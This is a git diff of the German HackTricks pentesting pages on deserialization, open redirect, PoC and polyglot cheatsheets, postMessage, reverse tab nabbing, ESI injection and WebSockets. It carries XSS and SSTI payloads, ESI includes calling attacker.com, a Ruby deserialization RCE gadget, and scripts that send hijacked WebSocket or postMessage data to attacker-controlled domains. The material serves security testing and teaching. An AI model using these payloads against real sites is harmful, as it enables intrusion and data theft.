Werfen Sie einen Blick auf [diesen POST über **wie man den \_\_ViewState-Parameter von .Net** zu **ausführen beliebigen Code** ausnutzen kann.](exploiting-__viewstate-parameter.md) Wenn Sie **bereits die Geheimnisse** kennen, die von der Opfermaschine verwendet werden, [**lesen Sie diesen Beitrag, um zu erfahren, wie man Code ausführt**](exploiting-__viewstate-knowing-the-secret.md)**.**
### Prevention
@ -721,7 +721,7 @@ Um die Risiken im Zusammenhang mit der Deserialisierung in .Net zu mindern:
- **Vermeiden Sie die Verwendung von `JavaScriptSerializer` mit einem `JavaScriptTypeResolver`.**
- **Begrenzen Sie die Typen, die deserialisiert werden können**, und verstehen Sie die inhärenten Risiken mit .Net-Typen, wie `System.IO.FileInfo`, die die Eigenschaften von Serverdateien ändern können, was potenziell zu Denial-of-Service-Angriffen führen kann.
- **Seien Sie vorsichtig mit Typen, die riskante Eigenschaften haben**, wie `System.ComponentModel.DataAnnotations.ValidationException` mit seiner `Value`-Eigenschaft, die ausgenutzt werden kann.
- **Kontrollieren Sie die Typinstanziierung sicher**, um zu verhindern, dass Angreifer den Deserialisierungsprozess beeinflussen, wodurch selbst `DataContractSerializer` oder `XmlSerializer` anfällig werden.
- **Steuern Sie die Typinstanziierung sicher**, um zu verhindern, dass Angreifer den Deserialisierungsprozess beeinflussen, wodurch selbst `DataContractSerializer` oder `XmlSerializer` anfällig werden.
- **Implementieren Sie Whitelist-Kontrollen** mit einem benutzerdefinierten `SerializationBinder` für `BinaryFormatter` und `JSON.Net`.
- **Bleiben Sie informiert über bekannte unsichere Deserialisierungs-Gadgets** innerhalb von .Net und stellen Sie sicher, dass Deserialisierer solche Typen nicht instanziieren.
- **Isolieren Sie potenziell riskanten Code** von Code mit Internetzugang, um zu vermeiden, dass bekannte Gadgets, wie `System.Windows.Data.ObjectDataProvider` in WPF-Anwendungen, untrusted Datenquellen ausgesetzt werden.
@ -850,7 +850,7 @@ candidate_methods.length() # Final number of methods=> 3595
```
### Ruby-Klassenverschmutzung
Überprüfen Sie, wie es möglich sein könnte, eine Ruby-Klasse zu [verschmutzen und sie hier zu missbrauchen](ruby-class-pollution.md).
Überprüfen Sie, wie es möglich sein könnte, eine Ruby-Klasse zu [verschmutzen und sie hier auszunutzen](ruby-class-pollution.md).
### Ruby _json-Verschmutzung
@ -862,7 +862,7 @@ Wenn einige nicht hashbare Werte wie ein Array in den Body gesendet werden, werd
Diese Technik wurde [**aus diesem Blogbeitrag**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) entnommen.
Es gibt andere Ruby-Bibliotheken, die verwendet werden können, um Objekte zu serialisieren, und die daher missbraucht werden könnten, um RCE während einer unsicheren Deserialisierung zu erlangen. Die folgende Tabelle zeigt einige dieser Bibliotheken und die Methode, die sie von der geladenen Bibliothek aufrufen, wann immer sie deserialisiert wird (Funktion, die missbraucht werden kann, um RCE zu erhalten):
Es gibt andere Ruby-Bibliotheken, die verwendet werden können, um Objekte zu serialisieren, und die daher ausgenutzt werden könnten, um RCE während einer unsicheren Deserialisierung zu erlangen. Die folgende Tabelle zeigt einige dieser Bibliotheken und die Methode, die sie von der geladenen Bibliothek aufrufen, wann immer sie deserialisiert wird (Funktion, die ausgenutzt werden kann, um RCE zu erhalten):
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Bibliothek</strong></td><td><strong>Eingabedaten</strong></td><td><strong>Startmethode innerhalb der Klasse</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binär</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (Klasse muss als Schlüssel in Hash(Map) eingefügt werden)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (Klasse muss als Schlüssel in Hash(Map) eingefügt werden)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (Klasse muss als Schlüssel in Hash(Map) eingefügt werden)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([siehe Anmerkungen zu json_create am Ende](#table-vulnerable-sinks))</td></tr></tbody></table>
@ -888,7 +888,7 @@ puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
```
Im Fall des Versuchs, Oj auszunutzen, war es möglich, eine Gadget-Klasse zu finden, die in ihrer `hash`-Funktion `to_s` aufruft, was spec aufruft, das fetch_path aufruft, was es ermöglichte, eine zufällige URL abzurufen, was einen großartigen Detektor für diese Art von unsanierten Deserialisierungsanfälligkeiten bietet.
Im Fall des Versuchs, Oj auszunutzen, war es möglich, eine Gadget-Klasse zu finden, die in ihrer `hash`-Funktion `to_s` aufruft, was `spec` aufruft, das `fetch_path` aufruft, was es ermöglichte, eine zufällige URL abzurufen, was einen großartigen Detektor für diese Art von unsanierten Deserialisierungsanfälligkeiten bietet.
```json
{
"^o": "URI::HTTP",
@ -900,7 +900,7 @@ Im Fall des Versuchs, Oj auszunutzen, war es möglich, eine Gadget-Klasse zu fin
"password": "anypw"
}
```
Darüber hinaus wurde festgestellt, dass mit der vorherigen Technik ein Ordner im System erstellt wird, der eine Voraussetzung ist, um ein anderes Gadget auszunutzen, um dies in ein vollständiges RCE mit etwas wie: zu verwandeln
Darüber hinaus wurde festgestellt, dass mit der vorherigen Technik ein Ordner im System erstellt wird, der eine Voraussetzung ist, um ein anderes Gadget auszunutzen, um dies in ein vollständiges RCE zu verwandeln, mit etwas wie:
```json
{
"^o": "Gem::Resolver::SpecSpecification",
@ -922,6 +922,6 @@ Darüber hinaus wurde festgestellt, dass mit der vorherigen Technik ein Ordner i
}
}
```
Überprüfen Sie die Details im [**Originalbeitrag**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Überprüfen Sie die Details im [**originalen Beitrag**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
{{#include ../../banners/hacktricks-training.md}}

2
src/pentesting-web/open-redirect.md
View File

@ -58,7 +58,7 @@ javascript://whitelisted.com?%a0alert%281%29
";alert(0);//
```
## Open Redirect Hochladen von SVG-Dateien
```markup
```html
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg

22
src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md
View File

@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
Das Ziel dieser PoCs und Polygloths ist es, dem Tester eine schnelle **Zusammenfassung** von Schwachstellen zu geben, die er ausnutzen kann, wenn seine **Eingabe irgendwie in der Antwort reflektiert wird**.
Das Ziel dieser PoCs und Polygloths ist es, dem Tester eine schnelle **Zusammenfassung** von Schwachstellen zu geben, die er ausnutzen kann, wenn seine **Eingabe irgendwie in der Antwort widergespiegelt wird**.
> [!WARNING]
> Dieses **Cheatsheet schlägt keine umfassende Liste von Tests für jede Schwachstelle vor**, nur einige grundlegende. Wenn Sie nach umfassenderen Tests suchen, greifen Sie auf jede vorgeschlagene Schwachstelle zu.
> [!CAUTION]
> Sie **werden keine Content-Type abhängigen Injektionen wie XXE finden**, da Sie diese normalerweise selbst ausprobieren, wenn Sie eine Anfrage finden, die XML-Daten sendet. Sie **werden hier auch keine Datenbankinjektionen finden**, da selbst wenn einige Inhalte reflektiert werden könnten, dies stark von der Backend-Datenbanktechnologie und -struktur abhängt.
> Sie **werden keine Content-Type abhängigen Injektionen wie XXE finden**, da Sie diese normalerweise selbst ausprobieren, wenn Sie eine Anfrage finden, die XML-Daten sendet. Sie **werden hier auch keine Datenbankinjektionen finden**, da selbst wenn einige Inhalte widergespiegelt werden könnten, dies stark von der Backend-Datenbanktechnologie und -struktur abhängt.
## Polygloths list
```python
@ -91,10 +91,10 @@ $(ls)
## Dangling Markup
### Grundlegende Tests
```markup
```html
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
```
## [File Inclusion/Path Traversal](../file-inclusion/index.html)
## [Datei-Einfügung/Pfad-Überquerung](../file-inclusion/index.html)
### Grundlegende Tests
```bash
@ -130,14 +130,14 @@ javascript:alert(1)
## [Server Side Inclusion/Edge Side Inclusion](../server-side-inclusion-edge-side-inclusion-injection.md)
### Grundlegende Tests
```markup
```html
<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="ls" -->
<esi:include src=http://attacker.com/>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
### Polygloths
```markup
```html
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
@ -147,7 +147,7 @@ Die gleichen Tests, die für Open Redirect verwendet werden, können hier verwen
## [Server Side Template Injection](../ssti-server-side-template-injection/index.html)
### Grundlegende Tests
```markup
```html
${{<%[%'"}}%\
{{7*7}}
${7*7}
@ -162,24 +162,24 @@ ${{7*7}}
## [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
### Grundlegende Tests
```markup
```html
<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
### Polygloths
```markup
```html
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
## XSS
### Grundlegende Tests
```markup
```html
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
```
### Polygloths
```markup
```html
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

16
src/pentesting-web/postmessage-vulnerabilities/README.md
View File

@ -40,7 +40,7 @@ Wenn das **Wildcard** verwendet wird, können **Nachrichten an jede Domain gesen
Wie in [**diesem Bericht**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) erklärt, wenn Sie eine Seite finden, die **iframed** werden kann (keine `X-Frame-Header`-Schutz) und die **sensible** Nachrichten über **postMessage** mit einem **Wildcard** (\*) sendet, können Sie den **Ursprung** des **iframes** **ändern** und die **sensible** Nachricht an eine von Ihnen kontrollierte Domain **leaken**.\
Beachten Sie, dass, wenn die Seite iframed werden kann, aber **targetOrigin** auf eine URL und nicht auf ein Wildcard **gesetzt ist**, dieser **Trick nicht funktioniert**.
```markup
```html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
@ -54,7 +54,7 @@ window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}
</script>
```
## addEventListener-Ausnutzung
## addEventListener Ausnutzung
**`addEventListener`** ist die Funktion, die von JS verwendet wird, um die Funktion zu deklarieren, die **`postMessages`** **erwartet**.\
Ein ähnlicher Code wie der folgende wird verwendet:
@ -95,14 +95,14 @@ Um **Ereignis-Listener** auf der aktuellen Seite zu **finden**, können Sie:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
```
- Die **`search()`** Methode von `String.prototype.search()` ist für reguläre Ausdrücke gedacht, nicht für Strings. Alles, was kein regexp ist, führt zu einer impliziten Umwandlung in regex, was die Methode potenziell unsicher macht. Dies liegt daran, dass in regex ein Punkt (.) als Platzhalter fungiert, was eine Umgehung der Validierung mit speziell gestalteten Domains ermöglicht. Zum Beispiel:
- Die **`search()`** Methode von `String.prototype.search()` ist für reguläre Ausdrücke gedacht, nicht für Strings. Alles, was kein regulärer Ausdruck ist, führt zu einer impliziten Umwandlung in einen regulären Ausdruck, was die Methode potenziell unsicher macht. Dies liegt daran, dass in regulären Ausdrücken ein Punkt (.) als Platzhalter fungiert, was eine Umgehung der Validierung mit speziell gestalteten Domains ermöglicht. Zum Beispiel:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
- Die **`match()`** Funktion, ähnlich wie `search()`, verarbeitet regex. Wenn das regex unsachgemäß strukturiert ist, könnte es anfällig für Umgehungen sein.
- Die **`escapeHtml`** Funktion soll Eingaben durch Escape-Zeichen bereinigen. Sie erstellt jedoch kein neues escaped Objekt, sondern überschreibt die Eigenschaften des vorhandenen Objekts. Dieses Verhalten kann ausgenutzt werden. Insbesondere, wenn ein Objekt so manipuliert werden kann, dass seine kontrollierte Eigenschaft `hasOwnProperty` nicht anerkennt, wird die `escapeHtml` nicht wie erwartet funktionieren. Dies wird in den folgenden Beispielen demonstriert:
- Die **`match()`** Funktion, ähnlich wie `search()`, verarbeitet reguläre Ausdrücke. Wenn der reguläre Ausdruck unsachgemäß strukturiert ist, könnte er anfällig für Umgehungen sein.
- Die **`escapeHtml`** Funktion soll Eingaben durch Escape von Zeichen bereinigen. Sie erstellt jedoch kein neues escaped Objekt, sondern überschreibt die Eigenschaften des vorhandenen Objekts. Dieses Verhalten kann ausgenutzt werden. Insbesondere, wenn ein Objekt so manipuliert werden kann, dass seine kontrollierte Eigenschaft `hasOwnProperty` nicht anerkennt, wird die `escapeHtml` nicht wie erwartet funktionieren. Dies wird in den folgenden Beispielen demonstriert:
- Erwarteter Fehler:
@ -120,7 +120,7 @@ result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
```
Im Kontext dieser Schwachstelle ist das `File` Objekt besonders ausnutzbar aufgrund seiner schreibgeschützten `name` Eigenschaft. Diese Eigenschaft wird in Vorlagen verwendet und nicht von der `escapeHtml` Funktion bereinigt, was zu potenziellen Sicherheitsrisiken führt.
Im Kontext dieser Schwachstelle ist das `File` Objekt aufgrund seiner schreibgeschützten `name` Eigenschaft besonders ausnutzbar. Diese Eigenschaft wird bei der Verwendung in Vorlagen nicht von der `escapeHtml` Funktion bereinigt, was zu potenziellen Sicherheitsrisiken führt.
- Die `document.domain` Eigenschaft in JavaScript kann von einem Skript gesetzt werden, um die Domain zu verkürzen, was eine lockerere Durchsetzung der Same-Origin-Policy innerhalb derselben übergeordneten Domain ermöglicht.
@ -128,7 +128,7 @@ Im Kontext dieser Schwachstelle ist das `File` Objekt besonders ausnutzbar aufgr
Beim Einbetten einer Webseite in ein **sandboxed iframe** mit %%%%%% ist es wichtig zu verstehen, dass die Herkunft des iframes auf null gesetzt wird. Dies ist besonders wichtig, wenn es um **Sandbox-Attribute** und deren Auswirkungen auf Sicherheit und Funktionalität geht.
Durch die Angabe von **`allow-popups`** im Sandbox-Attribut erbt jedes Popup-Fenster, das aus dem iframe geöffnet wird, die Sandbox-Beschränkungen seines übergeordneten Elements. Das bedeutet, dass, es sei denn, das **`allow-popups-to-escape-sandbox`** Attribut ist ebenfalls enthalten, die Herkunft des Popup-Fensters ebenfalls auf `null` gesetzt wird, was mit der Herkunft des iframes übereinstimmt.
Durch die Angabe von **`allow-popups`** im Sandbox-Attribut erbt jedes Popup-Fenster, das aus dem iframe geöffnet wird, die Sandbox-Beschränkungen seines übergeordneten Elements. Das bedeutet, dass, es sei denn, das Attribut **`allow-popups-to-escape-sandbox`** ist ebenfalls enthalten, die Herkunft des Popup-Fensters ebenfalls auf `null` gesetzt wird, was mit der Herkunft des iframes übereinstimmt.
Folglich, wenn ein Popup unter diesen Bedingungen geöffnet wird und eine Nachricht vom iframe an das Popup mit **`postMessage`** gesendet wird, haben sowohl die sendende als auch die empfangende Seite ihre Ursprünge auf `null` gesetzt. Diese Situation führt zu einem Szenario, in dem **`e.origin == window.origin`** als wahr ausgewertet wird (`null == null`), da sowohl das iframe als auch das Popup denselben Ursprungswert von `null` teilen.
@ -159,7 +159,7 @@ bypassing-sop-with-iframes-2.md
Um diese Angriffe durchzuführen, sollten Sie idealerweise in der Lage sein, die **Opfer-Webseite** in ein `iframe` einzufügen. Aber einige Header wie `X-Frame-Header` können dieses **Verhalten** **verhindern**.\
In diesen Szenarien können Sie dennoch einen weniger stealthy Angriff verwenden. Sie können einen neuen Tab zur verwundbaren Webanwendung öffnen und mit ihr kommunizieren:
```markup
```html
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);

10
src/pentesting-web/reverse-tab-nabbing.md
View File

@ -7,7 +7,7 @@ Wenn die Seite **`rel="opener"`** nicht hat, aber `target="_blank"` enthält und
Eine gängige Methode, dieses Verhalten auszunutzen, wäre, die **Position der ursprünglichen Webseite** über `window.opener.location = https://attacker.com/victim.html` auf eine vom Angreifer kontrollierte Webseite zu ändern, die **wie die ursprüngliche aussieht**, sodass sie das **Anmeldeformular** der ursprünglichen Website **imitieren** und den Benutzer nach Anmeldeinformationen fragen kann.
Beachten Sie jedoch, dass der **Angreifer nun das Fensterobjekt der ursprünglichen Website kontrollieren kann** und es auf andere Weise ausnutzen kann, um **heimlichere Angriffe** durchzuführen (vielleicht JavaScript-Ereignisse zu modifizieren, um Informationen an einen von ihm kontrollierten Server zu exfiltrieren?)
Beachten Sie jedoch, dass der **Angreifer nun das Fensterobjekt der ursprünglichen Website kontrollieren kann** und es auf andere Weise ausnutzen kann, um **versteckte Angriffe** durchzuführen (vielleicht JavaScript-Ereignisse zu ändern, um Informationen an einen von ihm kontrollierten Server zu exfiltrieren?)
# Übersicht
@ -27,7 +27,7 @@ Link zwischen Eltern- und Kindseiten, wenn das Präventionsattribut verwendet wi
Erstellen Sie die folgenden Seiten in einem Ordner und führen Sie einen Webserver mit `python3 -m http.server` aus.\
Dann **greifen Sie auf** `http://127.0.0.1:8000/`vulnerable.html zu, **klicken** Sie auf den Link und beachten Sie, wie sich die **URL** der **ursprünglichen** **Website** **ändert**.
```markup:vulnerable.html
```html:vulnerable.html
<!DOCTYPE html>
<html>
<body>
@ -37,7 +37,7 @@ Dann **greifen Sie auf** `http://127.0.0.1:8000/`vulnerable.html zu, **klicken**
</html>
```
```markup:malicious.html
```html:malicious.html
<!DOCTYPE html>
<html>
<body>
@ -48,7 +48,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</html>
```
```markup:malicious_redir.html
```html:malicious_redir.html
<!DOCTYPE html>
<html>
<body>
@ -58,7 +58,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
```
## Zugängliche Eigenschaften <a href="#accessible-properties" id="accessible-properties"></a>
In dem Szenario, in dem ein **cross-origin** Zugriff erfolgt (Zugriff über verschiedene Domains), sind die Eigenschaften der **window** JavaScript-Klasseninstanz, auf die durch die **opener** JavaScript-Objektreferenz zugegriffen wird, die von einer böswilligen Seite zugänglich sind, auf Folgendes beschränkt:
In dem Szenario, in dem ein **cross-origin** Zugriff erfolgt (Zugriff über verschiedene Domains), sind die Eigenschaften der **window** JavaScript-Klasseninstanz, auf die durch die **opener** JavaScript-Objektreferenz zugegriffen wird, die von einer böswilligen Seite zugänglich sind, auf die folgenden beschränkt:
- **`opener.closed`**: Diese Eigenschaft wird verwendet, um festzustellen, ob ein Fenster geschlossen wurde, und gibt einen booleschen Wert zurück.
- **`opener.frames`**: Diese Eigenschaft bietet Zugriff auf alle iframe-Elemente im aktuellen Fenster.

14
src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
View File

@ -66,7 +66,7 @@ Die folgende **Header** in einer Antwort vom Server bedeutet, dass der Server ES
Surrogate-Control: content="ESI/1.0"
```
Wenn Sie diesen Header nicht finden können, **könnte der Server trotzdem ESI verwenden**.\
Ein **blinder Exploitationsansatz kann ebenfalls verwendet werden**, da eine Anfrage beim Server des Angreifers ankommen sollte:
Ein **blinder Ausbeutungsansatz kann ebenfalls verwendet werden**, da eine Anfrage beim Server des Angreifers ankommen sollte:
```javascript
// Basic detection
hell<!--esi-->o
@ -93,9 +93,9 @@ hell<!--esi-->o
- **Includes**: Unterstützt die `<esi:includes>`-Direktive
- **Vars**: Unterstützt die `<esi:vars>`-Direktive. Nützlich zum Umgehen von XSS-Filtern
- **Cookie**: Dokument-Cookies sind für die ESI-Engine zugänglich
- **Cookie**: Dokumentencookies sind für die ESI-Engine zugänglich
- **Upstream-Header erforderlich**: Surrogatanwendungen verarbeiten ESI-Anweisungen nicht, es sei denn, die upstream-Anwendung stellt die Header bereit
- **Host-Whitelist**: In diesem Fall sind ESI-Includes nur von erlaubten Server-Hosts möglich, was SSRF beispielsweise nur gegen diese Hosts möglich macht
- **Host-Whitelist**: In diesem Fall sind ESI-Integrationen nur von erlaubten Serverhosts möglich, was SSRF beispielsweise nur gegen diese Hosts möglich macht
| **Software** | **Includes** | **Vars** | **Cookies** | **Upstream-Header erforderlich** | **Host-Whitelist** |
| :--------------------------: | :----------: | :------: | :---------: | :-----------------------------: | :----------------: |
@ -139,16 +139,16 @@ Use <!--esi--> to bypass WAFs:
#### Private Local File
Verwechseln Sie dies nicht mit einer "Local File Inclusion":
```markup
```html
<esi:include src="secret.txt">
```
#### CRLF
```markup
```html
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
#### Open Redirect
Das Folgende wird einen `Location`-Header zur Antwort hinzufügen
Das Folgende wird einen `Location`-Header zur Antwort hinzufügen.
```bash
<!--esi $add_header('Location','http://attacker.com') -->
```
@ -168,7 +168,7 @@ Das Folgende wird einen `Location`-Header zur Antwort hinzufügen
# Check the number of url_decode to know how many times you can URL encode the value
```
#### CRLF in Add header (**CVE-2019-2438**)
#### CRLF im Add-Header (**CVE-2019-2438**)
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345

34
src/pentesting-web/websocket-attacks.md
View File

@ -42,7 +42,7 @@ Die Verbindung bleibt nach der Herstellung für den Nachrichtenaustausch in beid
- Ein Base64-kodierter zufälliger Wert wird im `Sec-WebSocket-Key`-Header gesendet, um sicherzustellen, dass jeder Handshake einzigartig ist, was hilft, Probleme mit Caching-Proxys zu verhindern. Dieser Wert dient nicht der Authentifizierung, sondern um zu bestätigen, dass die Antwort nicht von einem falsch konfigurierten Server oder Cache generiert wurde.
- Der `Sec-WebSocket-Accept`-Header in der Serverantwort ist ein Hash des `Sec-WebSocket-Key`, der die Absicht des Servers verifiziert, eine WebSocket-Verbindung zu öffnen.
Diese Funktionen stellen sicher, dass der Handshake-Prozess sicher und zuverlässig ist und den Weg für eine effiziente Echtzeitkommunikation ebnet.
Diese Funktionen stellen sicher, dass der Handshake-Prozess sicher und zuverlässig ist und den Weg für effiziente Echtzeitkommunikation ebnet.
### Linux-Konsole
@ -63,16 +63,16 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Websockets Enumeration
Sie können das **Tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **verwenden, um automatisch bekannte** **Sicherheitsanfälligkeiten** in Websockets zu entdecken, zu identifizieren und zu suchen.
Sie können das **Tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **verwenden, um automatisch bekannte** **Schwachstellen** in Websockets zu entdecken, zu identifizieren und zu suchen.
### Websocket Debug-Tools
- **Burp Suite** unterstützt MitM-Websockets-Kommunikation auf eine sehr ähnliche Weise, wie es für reguläre HTTP-Kommunikation der Fall ist.
- Die [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite-Erweiterung** ermöglicht es Ihnen, Websocket-Kommunikationen in Burp besser zu verwalten, indem Sie die **Historie** abrufen, **Abfangregeln** festlegen, **Match- und Ersetzungsregeln** verwenden, **Intruder** und **AutoRepeater** nutzen.
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Kurz für "**WebSocket/Socket.io Proxy**", dieses in Node.js geschriebene Tool bietet eine Benutzeroberfläche, um **Nachrichten zu erfassen, abzufangen, benutzerdefinierte** Nachrichten zu senden und alle WebSocket- und Socket.IO-Kommunikationen zwischen dem Client und dem Server anzuzeigen.
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Kurz für "**WebSocket/Socket.io Proxy**", bietet dieses in Node.js geschriebene Tool eine Benutzeroberfläche, um **Nachrichten zu erfassen, abzufangen, benutzerdefinierte** Nachrichten zu senden und alle WebSocket- und Socket.IO-Kommunikationen zwischen dem Client und dem Server anzuzeigen.
- [**wsrepl**](https://github.com/doyensec/wsrepl) ist ein **interaktives Websocket REPL**, das speziell für Penetrationstests entwickelt wurde. Es bietet eine Schnittstelle zur Beobachtung **eingehender Websocket-Nachrichten und zum Senden neuer**, mit einem benutzerfreundlichen Framework zur **Automatisierung** dieser Kommunikation.
- [**https://websocketking.com/**](https://websocketking.com/) ist eine **Webseite zur Kommunikation** mit anderen Webseiten über **Websockets**.
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) bietet unter anderem eine **Webseite zur Kommunikation** mit anderen Webseiten über **Websockets**.
- [**https://websocketking.com/**](https://websocketking.com/) ist eine **Webanwendung zur Kommunikation** mit anderen Webseiten über **Websockets**.
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) bietet unter anderem eine **Webanwendung zur Kommunikation** mit anderen Webseiten über **Websockets.**
## Websocket Labor
@ -80,7 +80,7 @@ In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Bur
## Cross-Site WebSocket Hijacking (CSWSH)
**Cross-Site WebSocket Hijacking**, auch bekannt als **Cross-Origin WebSocket Hijacking**, wird als ein spezifischer Fall von **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** identifiziert, der WebSocket-Handshakes betrifft. Diese Sicherheitsanfälligkeit tritt auf, wenn WebSocket-Handshakes ausschließlich über **HTTP-Cookies** ohne **CSRF-Token** oder ähnliche Sicherheitsmaßnahmen authentifiziert werden.
**Cross-Site WebSocket Hijacking**, auch bekannt als **Cross-Origin WebSocket Hijacking**, wird als ein spezifischer Fall von **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** identifiziert, der WebSocket-Handshakes betrifft. Diese Schwachstelle tritt auf, wenn WebSocket-Handshakes ausschließlich über **HTTP-Cookies** ohne **CSRF-Token** oder ähnliche Sicherheitsmaßnahmen authentifiziert werden.
Angreifer können dies ausnutzen, indem sie eine **bösartige Webseite** hosten, die eine Cross-Site-WebSocket-Verbindung zu einer anfälligen Anwendung initiiert. Folglich wird diese Verbindung als Teil der Sitzung des Opfers mit der Anwendung behandelt, wodurch die fehlende CSRF-Schutzmaßnahme im Sitzungsmanagement ausgenutzt wird.
@ -88,8 +88,8 @@ Angreifer können dies ausnutzen, indem sie eine **bösartige Webseite** hosten,
Beachten Sie, dass beim **Herstellen** einer **Websocket**-Verbindung das **Cookie** an den Server **gesendet** wird. Der **Server** könnte es verwenden, um jeden **spezifischen** **Benutzer** mit seiner **Websocket**-**Sitzung basierend auf dem gesendeten Cookie** zu **verknüpfen**.
Wenn der **Websocket**-**Server** dann beispielsweise die **Historie der Konversation** eines Benutzers zurücksendet, wenn eine Nachricht mit "**READY"** gesendet wird, dann wird eine **einfache XSS**, die die Verbindung herstellt (das **Cookie** wird **automatisch** gesendet, um den Benutzer des Opfers zu autorisieren), die **Historie der Konversation** **abrufen** können.
```markup
Wenn der **Websocket**-**Server** dann beispielsweise die **Historie der Konversation** eines Benutzers zurücksendet, wenn eine Nachricht mit "**READY"** gesendet wird, dann wird eine **einfache XSS**, die die Verbindung herstellt (das **Cookie** wird **automatisch** gesendet, um den Benutzer zu autorisieren), die **Historie der Konversation** **abrufen** können.
```html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
@ -105,7 +105,7 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
```
### Cross Origin + Cookie mit einem anderen Subdomain
In diesem Blogbeitrag [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) gelang es dem Angreifer, **willkürliches Javascript in einem Subdomain** der Domain auszuführen, in der die Websocket-Kommunikation stattfand. Da es sich um ein **Subdomain** handelte, wurde das **Cookie** **gesendet**, und da der **Websocket den Origin nicht richtig überprüfte**, war es möglich, mit ihm zu kommunizieren und **Tokens von ihm zu stehlen**.
In diesem Blogbeitrag [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) gelang es dem Angreifer, **willkürliches Javascript in einem Subdomain** der Domain auszuführen, in der die Websocket-Kommunikation stattfand. Da es sich um ein **Subdomain** handelte, wurde das **Cookie** **gesendet**, und da der **Websocket die Origin nicht richtig überprüfte**, war es möglich, mit ihm zu kommunizieren und **Tokens von ihm zu stehlen**.
### Daten von Benutzern stehlen
@ -129,28 +129,28 @@ xhttp.send()
return messageEvent
}
```
Laden Sie die `wsHook.js`-Datei von [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) herunter und **speichern Sie sie im Ordner mit den Webdateien**.\
Laden Sie jetzt die `wsHook.js`-Datei von [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) herunter und **speichern Sie sie im Ordner mit den Webdateien**.\
Durch das Bereitstellen der Webanwendung und das Herstellen einer Verbindung eines Benutzers damit können Sie die über Websocket gesendeten und empfangenen Nachrichten stehlen:
```javascript
sudo python3 -m http.server 80
```
## Rennbedingungen
